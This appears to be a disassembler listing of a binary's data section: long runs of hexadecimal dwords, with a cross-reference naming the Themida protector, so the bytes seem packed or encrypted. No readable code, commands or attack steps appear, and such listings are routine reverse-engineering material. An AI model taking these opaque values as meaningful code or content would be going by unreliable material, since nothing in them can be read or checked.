		dd 447C7185h, 0FD7ABC72h, 0F24B5A7Dh, 1EBBF7C3h, 0FD742E76h
		dd 0E172CB75h, 0FD765C44h, 0F972F275h, 0FD61C044h, 0F972BC75h
		dd 0FD66E744h, 0F9722F75h, 15B7F44h, 80F3348Ah,	80F18489h
		dd 0ADB93B89h, 0FD7A7F9Dh, 2229C75h, 0A58E7A11h, 55E6BFCh
		dd 0D93E16E9h, 0C92CB389h, 0AD3A7867h, 0FD7AF2B6h, 0FD7A7975h
		dd 0A87ABC75h, 151AB2FEh, 0FD7A2F75h, 2E90162Fh, 707F21A8h
		dd 17A279CFh, 0F50F7970h, 0FD7A71CCh, 9CDE4F75h, 0FD7E9CBCh
		dd 61E7A226h, 7D7F7DADh, 887BD349h, 1683BE71h, 3E82A977h
		dd 9D96F220h, 0FD7ABC9Dh, 17FB0475h, 0F890F179h, 25E625F8h
		dd 80F1CE9Fh, 0FD725C7Dh, 5989F275h, 0F9B8B014h, 40F7DC75h
		dd 0F89086E9h, 0F5C3EF46h, 0E7A9775h, 9DB9AADFh, 25E658F8h
		dd 0C2FBF79Fh, 0FC7B7874h, 82FBB000h, 0FC7B5F71h, 4795A74h
		dd 9C82969Eh, 40F7ABB6h, 0F8903DE9h, 0FD7AF3CDh, 0FD72C075h
		dd 5789BC75h, 3DF19D14h, 78F7EFFEh, 0F8904FDCh,	0CA8BD08Ah
		dd 9E8h, 0F94E3F00h, 369C378h, 880F0622h, 3, 5AC28B66h
		dd 6D7FC281h, 0B1500000h, 27BB5801h, 8000001Bh,	3A8BCEE1h
		dd 0AE9h, 0F04D200h, 87B761E0h,	813E5B3Fh, 0AA8D2EFh, 1AC78147h
		dd 0E91CFB75h, 0Eh, 36156413h, 0DCE4A58h, 0DCE5FA75h, 0EF816104h
		dd 7F086522h, 0BE960h, 0B1D10000h, 6B1FABD5h, 344F7070h
		dd 11E8E7h, 3B370000h, 818D6BFAh, 7C516DCFh, 83CCC8D5h
		dd 0F524884h, 81h, 57615800h, 68F0Fh, 0D0810000h
		dd 3F9E3737h, 8166028Fh, 838B3FCEh, 0EB8304EAh,	15850F01h
		dd 66000000h, 35E9C18Bh, 7000000h, 0B4D6C408h, 0AFF1100Fh
		dd 8B22A6C8h, 0DE9h, 7568600h, 1AB2B7A6h, 8E698402h, 4FE98D5Ah
		dd 15FFFFFFh, 74B3F74Eh, 0F48B4712h, 0C77B1AC5h, 0F48D0408h
		dd 16EBh, 4 dup(0)
		dd 1010000h, 3C0h, 9D2905EAh, 5E4162Dh,	9E86090h, 79000000h
		dd 83899E5h, 6BF7EEFh, 12E8h, 0AAAF4300h, 0A125B356h, 26A9252Bh
		dd 0D40C8E43h, 5A54D4A0h, 0A30AB958h, 506158FFh, 6A90D88Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0EEC350h,	23F23E20h, 0CF8166E9h, 6A0F9Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 6FC35545h
		dd 544538CCh, 6A770629h, 0B5296000h, 5E430CDh, 76858D61h
		dd 5005EAE0h, 0AA94BB66h, 6A240489h, 75852900h,	6A05E42Eh
		dd 0A5850900h, 8105E42Ah, 19F7BBC1h, 0A195FF15h, 6A05E421h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 84A0C352h, 0C1BD3317h, 8B05E40Fh,	0E42AD5BDh
		dd 0FFBF0F05h, 5F3E9h, 7FDB8100h, 0E84B2F93h, 0
		dd 7BED815Dh, 6A05EAE0h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 99AEC352h, 8BEBF973h
		dd 0E41C6195h, 10E905h,	0A81C0000h, 481C3B41h, 82257AFAh
		dd 0E2B26FA3h, 0B5897595h, 5E42369h, 15E8CE68h,	81CAB5D3h
		dd 26D22404h, 0CE92CEAh, 0C5000000h, 893A471Bh,	57AB6DD9h
		dd 0FF927204h, 0E410C195h, 0D38B6605h, 0DF69B58Dh, 6A05EAh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 3B06E5C3h, 0FE770A5Bh, 0BFEF8051h, 5206C75Ah, 6A6D6765h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0E5F8C356h, 0AFA4E4D2h, 0AE8B145h, 0F9000000h
		dd 0B34E19E5h, 94C68E1Dh, 12E94Bh, 2A750000h, 6E3A9AB5h
		dd 0A3DFED5Ah, 0A666FD3Ah, 0FE3D8F60h, 446C75Fh, 6C636E6Fh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0AFC35242h
		dd 86F5F6D2h, 3A5480F9h, 52CBB398h, 46C759FCh, 73736108h
		dd 0AEBB6600h, 6A006AA6h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 1CF1C353h, 3D816B1Eh
		dd 596EE7B9h, 0D8D8B1Fh, 8D05E428h, 0EADF6985h,	50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 0D8C67AA5h, 6464746Dh, 0BF669054h, 8B509F3Bh, 6A90CEh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 874F59C3h, 0D9A354C7h, 0C1958BB7h, 8905E41Ah, 0E424718Dh
		dd 995FF05h, 6A05E412h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0BCAC351h, 33840FC0h
		dd 89000000h, 0E41B49BDh, 3D7E905h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 740D47C3h
		dd 4F93BF66h, 759D8Bh, 166805E4h, 60F47954h, 7110CB9h
		dd 0C6E3B86Eh, 8161634Dh, 0AD162404h, 6A0B86h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 464EA2C3h, 1B3CC8A5h, 8B66AFBCh, 458D89CBh, 0FF05E40Dh
		dd 0E410C195h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 94751F35h, 31520AB0h
		dd 0E41135B5h, 0B58D5B05h, 5EADF69h, 6C7B4B6h, 36343831h
		dd 6840Fh, 9D890000h, 5E41CF9h,	28B5B529h, 46C705E4h, 342D3704h
		dd 139BBF31h, 9D8B4C75h, 5E41A41h, 846C7h, 8B000000h, 59D29D6h
		dd 6A05E41Eh, 12E800h, 16030000h, 0FB8B0C73h, 0C246E524h
		dd 0C33FBFADh, 8DB49C66h, 0BE9h, 0C6B30900h, 5B14D8A7h
		dd 247E523Dh, 69858D59h, 8905EADFh, 0E42045B5h,	0EEB65005h
		dd 6A240489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0F5CAC351h, 89A5BF66h,	120995FFh
		dd 890F05E4h, 14h, 0CE8h, 0BAD9600h, 0EEF97C55h, 0A3132E4Dh
		dd 5F5F514Eh, 0FC00BFCh, 6284h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0AFDDA808h
		dd 39EF1924h, 0BD2BA865h, 5E40FA5h, 17CF8166h, 23FE9D7h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 5CC4DEC3h, 7185A0Bh, 0B44E98BBh, 9DF7811Ch
		dd 0E85BE388h, 4, 12Ch,	0DB3A1FB9h, 0BE95040h, 0D0000000h
		dd 8A96DA68h, 21EB2073h, 448BD2E7h, 41B20424h, 0BB66008Bh
		dd 44899D35h, 0B7510424h, 0F585AA1h, 0D181C8BFh, 22099A7Ah
		dd 10C195FFh, 6A05E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 534581C3h, 8B3572B9h, 0E421BD8Dh
		dd 69B58D05h, 6A05EADFh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 6B4EC352h, 0AAE19B91h
		dd 0E4415BC8h, 694606C7h, 6A656Ch, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 1E4F7AC3h, 0DFCC2434h
		dd 54BA0C08h, 317A2128h, 0E426F18Dh, 446C705h, 636E6F6Dh
		dd 22419509h, 46C705E4h, 73616C08h, 50006A73h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 758D8930h
		dd 0C705E423h, 0C46h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 0B6E6AFC3h, 0BFCC923Ah
		dd 128B662Ch, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 666C12C3h, 8D65BBBAh, 0EADF6985h
		dd 0D0B70F05h, 0FE8B6690h, 68E0F50h, 60000000h,	6160DD8Ah
		dd 6A9061h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0DC4400C3h, 0D221BCB5h, 95FF5528h, 5E41209h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 5EC35545h
		dd 719E64C6h, 0BF5EA03h, 1C840FC0h, 0F000000h, 4AE9C8B7h
		dd 0E9000000h, 0Fh, 3AFBF184h, 81B21CE5h, 6707CD86h, 0E9F4FBBBh
		dd 0FFFFFA67h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	39C35545h, 9C7101F9h, 2B7FF3C9h, 0E414559Dh, 28F0F05h
		dd 8B000000h, 0FDB58DFBh, 0B305E46Fh, 0B8DCh, 0F500000h
		dd 686h, 8D0F00h, 59000000h, 9D8BE6FFh,	5E42D91h, 0CAFEC18Bh
		dd 0A80B6D1Ch, 8A4FE593h, 0A80B725Bh, 75EAD5ABh, 0A80B7233h
		dd 8A4FFA99h, 57AE5DBAh, 8A4FFB76h, 0A80B7323h,	75EAD5ABh
		dd 0A80B73EAh, 8A4FFBA4h, 0A80B7074h, 8A4FF826h, 0A80B70EEh
		dd 75EAD5ABh, 38D42F25h, 310C0B3h, 42B7C5C0h, 7490A751h
		dd 215448A2h, 60F341D1h, 0FDD42F40h, 310C0BCh, 42B7CDC0h
		dd 2790A751h, 215448ADh, 60F35DD1h, 0ACD42F40h,	310C0BDh
		dd 42B7D9C0h, 0D390A751h, 215448ACh, 60F3A9D1h,	35D42F40h
		dd 310C0BDh, 42B725C0h,	6C90A751h, 215448ACh, 60F3A5D1h
		dd 8FD42F40h, 310C0BEh,	42B731C0h, 0E290A751h, 215448AFh
		dd 60F3BDD1h, 1D42F40h,	310C0BEh, 42B739C0h, 6890A751h
		dd 215448AFh, 60F3B5D1h, 12B8C340h, 0DF152A50h,	6CD24ECEh
		dd 8AFD4AA8h, 0F251A245h, 6D5FC0D5h, 0ED96A7AFh, 8A152AA8h
		dd 0A0242945h, 0B496E367h, 0A1D5ADBAh, 0CB152A54h, 415564C6h
		dd 75EAD5BAh, 3AAE63CEh, 8FF13765h, 0AB534284h,	0FFEA2211h
		dd 0A4245D55h, 0CF9C3AABh, 0EDDAC3B9h, 86D7E3A8h, 44DAF745h
		dd 0EAE9EED7h, 2359D7CEh, 0CFD22629h, 0A851A2B9h, 62AD6C54h
		dd 351A241h, 27BFEA66h,	12DB2FEEh, 7510C08Dh, 2011294h
		dd 53AFA0D9h, 79AEA7AFh, 0AE51A1ECh, 22DC0941h,	8FFFF3EEh
		dd 103773BAh, 21732ADFh, 71EB28C8h, 5BEA2FBEh, 8C152BFDh
		dd 988150h, 0ADBB7BFFh,	0D2A5FBABh, 0A42C89EFh,	0EBE957DDh
		dd 61ADE7CEh, 0DF152296h, 6CD24ECEh, 8AFD4AA8h,	0F251A245h
		dd 621FC0D5h, 0DDDAA7AFh, 8668A15Ch, 0A8ADE782h, 0CC152A54h
		dd 0A85C30BAh, 529E2FB0h, 83FC69CEh, 0E2A5B997h, 0F9FA31EFh
		dd 53AFA0D9h, 79AEA7AFh, 20949A0Dh, 8C551A23h, 21848132h
		dd 215DDF6Eh, 174D629h,	6A985E00h, 1402A5Ch, 549521A9h
		dd 8A15C234h, 290BA245h, 60FD4BBEh, 0A0242940h,	4D1957DFh
		dd 0A8515E00h, 75532A54h, 4C51AFD7h
		dd 19CDA151h, 9BFC69CEh, 0E2A5B997h, 0F9FA31EFh, 53AFA0D9h
		dd 79AEA7AFh, 20949A0Dh, 8C651A23h, 21848132h
dword_5AD068	dd 215DDF6Eh, 174D629h,	6A985E00h, 1402A5Ch, 549521A9h
					; DATA XREF: Themida_:off_55DEBDo
		dd 8260A134h, 6F5DDFCEh, 8A15D611h, 3BFDA245h, 0B91DC995h
		dd 4919197h, 4A38F2DEh,	2851A245h, 0E1AD5A8h, 0A851A25Eh
		dd 8A1523EDh, 2DA05545h, 86902586h, 2851A245h, 4B7332A3h
		dd 2337AA8Eh, 0A1BE4C97h, 0D5D8AE38h, 0CF9E4BA8h, 0A0936BB9h
		dd 669E7F54h, 0C8AD66C6h, 11D5FDFh, 0ED96AE38h,	8A152AA8h
		dd 69C20E45h, 582622B7h, 22FD6276h, 8AD5078Ch, 54D1A245h
		dd 939125ABh, 1151A245h, 8A152A5Dh, 7AD453B2h, 8A1FAF5Bh
		dd 10E0A245h, 4B93E256h, 39191EFh, 319577Fh, 23305E38h
		dd 48DCD611h, 2304A24Dh, 76D1A9B8h, 0A0242925h,	4D1957DFh
		dd 0A8515E00h, 0B92A54h, 0A7B2229Dh, 85E1D4h, 22DC0886h
		dd 8FFFF3EEh, 0F8E173BAh, 309FA7FEh, 5754489Ch,	20D6A085h
		dd 215DDF6Eh, 174D629h,	6A985E00h, 1402A5Ch, 549521A9h
		dd 8260A134h, 6F5DDFCEh, 8A15D611h, 0AFE9A245h,	75152A54h
		dd 4C4C93D7h, 20452651h, 71EB28C8h, 5BEA2FBEh, 9BFB2BF5h
		dd 85318694h, 0AC59622Eh, 0AEA58050h, 0A42C89EFh, 0EBE957DDh
		dd 61ADE7CEh, 0DF152296h, 6CD24ECEh, 0FF9E4AA8h, 0A42C294Dh
		dd 8AE96F93h, 451A245h,	8787D5FEh, 23544645h, 4917868Ch
		dd 12DB2FEFh, 7510C08Dh, 28E9C494h, 0BE4CBDh, 0D57A0886h
		dd 7668A358h, 54142924h, 8A1DE89Dh, 2BBD2910h, 175D690h
		dd 0D5DAAA30h, 7650ED58h, 0A851A245h, 18EA80F8h, 0ADB5A248h
		dd 58B9E2DFh, 32DC0885h, 8FFFF3EEh, 103771BAh, 2173E394h
		dd 83FB63CFh, 0F79C2629h, 0EDDAC3B9h, 82D7E3A8h, 44DAF745h
		dd 0EAE9EED7h, 2359D7CEh, 0CFD22629h, 0A851A2B9h, 75BF8654h
		dd 4C51AFD7h, 26DDA151h, 25FB6377h, 60CC90CEh, 0CE825D40h
		dd 0ECE4AAECh, 29028EEh, 319577Fh, 23305E38h, 48DCD611h
		dd 2304A24Dh, 76D1A9B8h, 0A0242925h, 4D1957DFh,	0A8515E00h
		dd 32732A54h, 3376B77h,	53AFB0D9h, 7BAEA7AFh, 4B959232h
		dd 4FD0923h, 866801FEh,	0C9ADDFCCh, 43E96FDFh, 0FD51AA87h
		dd 4E96C6DFh, 0DDDAC2B9h, 8668A15Ch, 0A8ADE782h, 0EC152A54h
		dd 0CEB824FDh, 308FA7FFh, 5754489Ch, 20A09A87h,	25FB0E03h
		dd 60CC90CEh, 0CE825D40h, 0ECD8ACECh, 0A42C89EEh, 0EBE957DDh
		dd 61ADE7CEh, 0DF152296h, 6CD24ECEh, 8AFD4AA8h,	0F251A245h
		dd 6127C0D5h, 0ED96A7AFh, 8A152AA8h, 0A0242945h, 261957DFh
		dd 2C5E9179h, 8A152A1Eh, 2C5E8979h, 8A152A16h, 2C5ECA79h
		dd 8A152A49h, 2C5E1379h, 8A152A38h, 2A5EF279h, 8A152A5Ch
		dd 2A5EFA79h, 8A152A6Bh, 0A851D6ACh, 8660D554h,	2559D7BAh
		dd 60F34DCEh, 32DCF140h, 8FFFCD6Ah, 0EDD871BAh,	8A42C3A8h
		dd 0DDAEA245h, 8260D558h, 4E2638C8h, 7462FBEh, 42B69CDFh
		dd 3C6D551h, 92B85E00h,	75152A54h, 0DDAEAE30h, 98FA75Ch
		dd 0FB5448A3h, 6D2BB0D9h, 7BAEA7AFh, 63E96FDDh,	0A851A258h
		dd 75195FABh, 32DCAA30h, 8FFFCCDBh, 96CB2F16h, 7510C0B3h
		dd 54142B96h, 8A152ABDh, 0EDDAC345h, 82D7E3A8h,	3044BA45h
		dd 8D8D0000h, 5EAECFDh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 24C35545h, 0E94B8793h, 0Dh, 8438843h
		dd 0EA4E5EB0h, 0D3119566h, 68E0F1Ah, 8B000000h,	0E431D585h
		dd 958D8905h, 8B05E410h, 0E411C5BDh, 6585C705h,	5405E42Ch
		dd 6A00006Dh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0F791C351h, 85C7979Ch,	5E430FDh
		dd 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 9AC35343h
		dd 23E32F09h, 0F747BF66h, 1001B5FFh, 6A05E4h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 8F6566C3h
		dd 1DF46368h, 95FF04B2h, 5E42A61h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0E7C35242h,	21BF74C7h, 6A114785h
		dd 0C195FF00h, 8B05E410h, 6679EBC0h, 2229982Ah,	9C7E224h
		dd 83D80CB2h, 147BD130h, 853425DCh, 84A50AF1h, 3D1C7EFAh
		dd 4FE666BDh, 0DA3CF9CAh, 85D9F132h, 4AEADA84h,	4E443A78h
		dd 454D8FF0h, 2993C617h, 8BBFD99Bh, 2831ED8Ch, 3F743E4Ah
		dd 0FE7A6D2Eh, 0F343E152h, 0BAAE7559h, 823C8108h, 25884514h
		dd 58BED968h, 6373142h,	55F710E5h, 0C6234100h, 95C29E97h
		dd 15A655h, 0D1F1BA01h,	0A8B3D4Ah, 0EE0A8D8Dh, 6A05EAh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 3C77D8C3h, 8B66D538h, 958D89C3h, 0F05E410h, 386h, 0F9BF0F00h
		dd 2C6585C7h, 71E805E4h, 0BF660000h, 958BF19Fh,	5E42881h
		dd 30FD85C7h, 5E4h, 0BF660000h,	0B5FFBEC4h, 5E42DBDh, 95FF5B52h
		dd 5E42A61h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	6EC35545h, 676FBE06h, 95FF006Ah, 5E410C1h, 1DEBC08Bh
		dd 53200BF2h, 0A9B049EAh, 30C6B1Bh, 6705B597h, 0F3A68B49h
		dd 8DB98452h, 4E6EE657h, 0B9E9FAh, 95460000h, 2BAF7B1Ah
		dd 78F129ACh, 9244DEC1h, 29AC7619h, 0BFFE2FAEh,	0E9EC6BEAh
		dd 8302BD31h, 3756D187h, 0EAED6CEBh, 31330C53h,	0B354EFD4h
		dd 0C5779EF5h, 0DD9F8B4Ah, 714BCE8Bh, 83B91C2h,	0A5AF0D4Fh
		dd 7DF02A33h, 0E59F9DC2h, 0DA1D4F04h, 1619E6E9h, 274F04E6h
		dd 4F475C61h, 0A684F958h, 64EC26Dh, 6DFC7E47h, 0B7784EC2h
		dd 7EA88942h, 0D34F04A2h, 4F467B8Fh, 3AEh, 5106F900h, 7F4DC477h
		dd 0DDEF6EEDh, 0BA0E894Fh, 19B32CA0h, 85D75203h, 617BF667h
		dd 0CA9E19DBh, 0AA3EB930h, 0D5FD890h, 0EE3168B3h, 0E7E905EAh
		dd 7AFFF98Eh, 0D62A9CBCh, 5EEFE802h, 0B84AB473h, 5EAEED4h
		dd 4EBC503h, 943A94Bh, 0DB4E9h,	0F0FD6800h, 0BFE905EAh
		dd 68FFF98Eh, 5EAF1D5h,	0F98EB5E9h, 0F2C768FFh,	0ABE905EAh
		dd 68FFF98Eh, 5EAF352h,	0F98EA1E9h, 0F74168FFh,	97E905EAh
		dd 68FFF98Eh, 5EAFA46h,	0F98E8DE9h, 0FB2A68FFh,	83E905EAh
		dd 35FFF98Eh, 9E840B82h, 0E03A5DDAh, 33EFEE69h,	9B870681h
		dd 0EF385FDAh, 9D14D9D0h, 33AC20FAh, 47C076ACh,	9A1DDA40h
		dd 201D4CFBh, 54EFD542h, 778FC4A2h, 0EB714BC6h,	9C1BF36Dh
		dd 0A95E2E41h, 18725174h, 455B8609h, 46359E11h,	7B440B89h
		dd 54E96C06h, 6EE96DB5h, 822CE95Ah, 62C47B51h, 0ED54E96Ah
		dd 67DC151Dh, 9033F951h, 48h, 64D6CCC7h, 8FF0D1EBh, 4F04E5ADh
		dd 3E9BCC0Fh, 0A729827Bh, 2B14FB2Ch, 54E908AAh,	2FA820CAh
		dd 6775A69Dh, 0E9087EE0h, 59D68654h, 0FC77F903h, 4AB61CECh
		dd 2F533782h, 0F8EB9DE6h, 7AFC2633h, 75914C1h, 0FC000000h
		dd 9442Ch, 0D6CC7B00h, 8BACF066h, 0E6574912h, 6DE469B5h
		dd 76F166A0h, 9813D862h, 0DA48DD35h, 7333F8FEh,	0C1A007A6h
		dd 54F7EFCh, 0E824FE4Fh, 12DA7EB3h, 4FEA2419h, 1D74F1CAh
		dd 9A5326F3h, 8748B518h, 0EF54E976h, 0C5AB9C2Ch, 54E951h
		dd 0C4BF76BAh, 3533F938h, 59h, 20E6CC60h, 0A02792E2h, 6AFFDB08h
		dd 6548D078h, 34E1BBFEh, 0EAA316C3h, 0DF108B41h, 0A8A51278h
		dd 71ACF21Bh, 87FCC1A4h, 0F754E9FDh, 0ADB3B404h, 1854E9BCh
		dd 0AC975E42h, 3533F9A0h, 984426DDh, 0D27DB9E7h, 79C10D7Dh
		dd 0F97B441Bh, 7B54E8EBh, 0D38A47B8h, 8Bh, 49C0777Ah, 0ED64E973h
		dd 0F8E4DDFh, 0B128AFBDh, 32BD84EEh, 84FC470Fh,	0C54BB4CBh
		dd 0CF4F0510h, 140E9108h, 0D99424A7h, 0D62FEE6Ch, 54E92A65h
		dd 3C8F0EC1h, 211EC143h, 5ACF8F2Ah, 0D0CA8D4Eh,	27E3E21Dh
		dd 0D6B23BB6h, 0DD222074h, 0B03B67Fh, 0C98A0000h, 67D34F4Eh
		dd 0B425FDE0h, 0C6889235h, 1DD04A4Dh, 8B2AE3E2h, 0BD205F1Eh
		dd 5776F165h, 0B8A0DCBh, 0BE21581Fh, 0FD7F4007h, 7F54EFD5h
		dd 0C6775209h, 19DE444Bh, 0D86EFF9Eh, 0D52AED6Fh, 54E90860h
		dd 6EB41BDCh, 51636AECh, 5CFE0385h, 352AAE6Bh, 54E9C133h
		dd 0DC4CC9Eh, 33F9A436h, 0AEA7h, 0D6CCF600h, 1FD4E463h
		dd 6D35603h, 714E5F1Ch,	4F04E5F3h, 7F4DBE71h, 26368EDh
		dd 4F04E620h, 0EFFD7EFCh, 54894A74h, 0EB3DC304h, 90474F04h
		dd 2FAC7619h, 0F4A11CACh, 0DDAE9776h, 3954E90Bh, 4D0B17F6h
		dd 9F842DD3h, 0A596765Dh, 6C73DC17h, 6F2EAC19h,	0D072EA16h
		dd 0CA8D4E5Ah, 47FB1DD0h, 5450FD9Ah, 0EF3B5A8Fh, 98CAF36Eh
		dd 2B222118h, 0A2BC0A1h, 31A20000h, 4F0B17B6h, 9C5DC5C8h
		dd 2EA07A1Dh, 450812B5h, 6352CBCAh, 85088736h, 3F5ED99Dh
		dd 0D3F275E3h, 86098037h, 0D557A8FFh, 5754EFD6h, 0C6777A51h
		dd 19DE444Bh, 776EFF9Eh, 0E97349C0h, 1E4EB62h, 2815F432h
		dd 4F04E64Ah, 118A40AAh, 0FA5788BBh, 6EED463Fh,	5542F3F6h
		dd 0A69BF25Ch, 29EC2112h, 4D95FBC1h, 9875CCDAh,	0BD3C66C5h
		dd 0DE27AE3Ah, 4F05735Ch, 692217D8h, 0E99D6F08h, 50061C54h
		dd 0BF707AD7h, 9F5CF2D8h, 4E5EF18Eh, 405A2B85h,	7946138Ch
		dd 0FEAE54D6h, 5FA0B06Dh, 0FB25F3DDh, 8900B55Fh, 43BC6354h
		dd 10A1AD2h, 7E6B41B2h,	765C0381h, 0A69F08AEh, 0F8CA74C4h
		dd 64A3EF20h, 53329F46h, 0B1EC3C12h, 309758FEh,	75F36DEAh
		dd 1697F71Eh, 9DFCE3D4h, 0AD63C13Eh, 0EC1FB27h,	1B925945h
		dd 55E252h, 0A203C976h,	939h, 1843FB0h,	0B7D65119h, 646BEE6Bh
		dd 1C833CBEh, 0B5D85706h, 91445560h, 2BAB7716h,	7BF129ACh
		dd 9645DDC0h, 9AC97017h, 0EFD7C7A5h, 8472554h, 7349C077h
		dd 440B8946h, 0E8E6BA7Bh, 9AEBBA54h, 54E8E598h,	2FEE2314h
		dd 0C3C245F3h, 42169147h, 0E8E59F9Dh, 1DDCC654h, 558601B3h
		dd 0F5B5BBF8h, 0BEE454E8h, 65D4813Eh, 1A6B2AA8h, 5ACD10A9h
		dd 2773D205h, 6B342FAEh, 4D0FC818h, 388138BFh, 2222DA52h
		dd 0AE1EE775h, 25000008h, 8E943BB2h, 0D04A4DCAh, 23FF9E19h
		dd 8B9736B1h, 0DF484FCAh, 8D04C9E0h, 235C100Ah,	77F066BCh
		dd 8A0DCA50h, 0D02D7C0Bh, 54EFD952h, 0D8FFD4D2h, 9710C46Fh
		dd 0BD1CE3A2h, 4E5E240h, 34B3224Fh, 620D498Ah, 0BADB845Fh
		dd 65569F78h, 0C154E91Ch, 54D3869Ch, 0E8EC0D6Fh, 7BAC6F54h
		dd 981FDB61h, 0F46CED35h, 7E1205ACh, 0CF88FDAAh, 58F662B8h
		dd 92261B94h, 0E867D733h, 0C3B663D0h, 0F6CF8E04h, 54E998ACh
		dd 0D5B507C8h, 7159030Fh, 0DC3A7384h, 97F16E6Ch, 6050044Eh
		dd 10D8C28Fh, 0B06B58Eh, 386DCECEh, 6E573695h, 54E9AF0Ch
		dd 0AEF072B3h, 8B4C54E9h, 3273DC1Fh, 54E9AF2Ch,	4B0A8047h
		dd 0E9AF1C7Ah, 30975854h, 567A8BDAh, 0E9490B69h, 6CA66954h
		dd 0D1BA8341h, 7AE454CEh, 2F12FFD0h, 55788A5h, 0E99A54C2h
		dd 78B80254h, 6267C822h, 504717DDh, 0C1177F06h,	4E0B5ACCh
		dd 8C139444h, 0C0BAC52Dh, 0EB4DFE0Ch, 0E933989Ah, 0EE231454h
		dd 0EF71F925h, 9496E934h, 0EEFA2F92h, 0E8F84779h, 7DA50F54h
		dd 345BDC9Ch, 4D109A41h
		dd 0E8F7EF70h, 34847754h, 4A5C9633h, 0E929F1C9h, 9193ECB3h
		dd 13C08A5Bh, 40037720h, 0A99F9A43h, 200h, 7F6FD8ECh, 4E62406h
		dd 1A4F804Fh, 875D4BBh,	4F04E62Ah, 0A78C498Ah, 54E8E6C2h
		dd 954091F9h, 3B99A086h, 3CE3545Eh, 0D7F671E6h,	4E2C11F0h
		dd 0AE54E96Fh, 0F166A06Dh, 31629D5Fh, 6A5B3A9Bh, 54E96F08h
		dd 99E6B364h, 0DC3019F9h, 8DDF5A1Fh, 6A7EF97Fh,	0CF070B5Fh
		dd 0FBA1E1BBh, 18B02FAFh, 0B7246E2Bh, 4D8FA02Dh, 0A6EFF270h
		dd 558172D1h, 5489D42Eh, 0EB62E931h, 0FD7AFE24h, 319B74EFh
		dd 0F766C584h, 0BEF36078h, 96FBF3DFh, 2A649F51h, 89424505h
		dd 31AA2CF6h, 7ACA819Bh, 9290EDF8h, 12D1A781h, 4EDCEC21h
		dd 86BD0F88h, 0A57D6055h, 6ED0AE36h, 3BBD8572h,	9627B7A5h
		dd 96C03519h, 1B31E68Fh, 49635446h, 31B46296h, 0B837A644h
		dd 0DB5C1A20h, 2F533981h, 533293E7h, 91B1B38Ch,	0C0333F2Dh
		dd 2D91A183h, 7D0033Fh,	1B6575Bh, 5C81F69Fh, 954E1A9Dh
		dd 50AC17B9h, 0F762B81Fh, 40189359h, 0D2F55E93h, 0AB218348h
		dd 76AB9830h, 4EC98B97h, 2F8ED785h, 2D1654D6h, 853EB03Fh
		dd 0BE7DD619h, 0BD8245CFh, 3F2D15BFh, 1C848CE6h, 0C4138BDAh
		dd 29AC6F0Bh, 0F7C57CF1h, 0C68903FAh, 2DB67FF9h, 0AE2BF53Fh
		dd 15F1EF2Bh, 0BC9B053h, 0EC6BB7D6h, 0FEA486FFh, 0CF003F2Ch
		dd 0B93CCE9Ah, 0F526A117h, 0C8430812h, 8EECD1F0h, 0EE3F2CFFh
		dd 0BD1FF82Dh, 0FA1B07EDh, 3F1BFA7Dh, 9C8A7E58h, 6B7AD757h
		dd 2B8138BFh, 0ED6CCFBEh, 0B0E55E6Ah, 0A4140EEDh, 3180E223h
		dd 0A9FC3F2Dh, 2D30D654h, 0B0E5563Fh, 453F00E7h, 0B73F2D31h
		dd 12D94144h, 1484CE82h, 9ACF9570h, 3DBE3CCEh, 938FDEAFh
		dd 0DE15A722h, 0C8296975h, 0DDC58803h, 84CD9F1Eh, 2D74B9BBh
		dd 87F83B3Fh, 0E86FBBCAh, 0BF6E5B71h, 1B6D5235h, 793F2D75h
		dd 4D0B17B6h, 4C3FECAh,	84F6CF8Eh, 0E03F2D75h, 81DB5406h
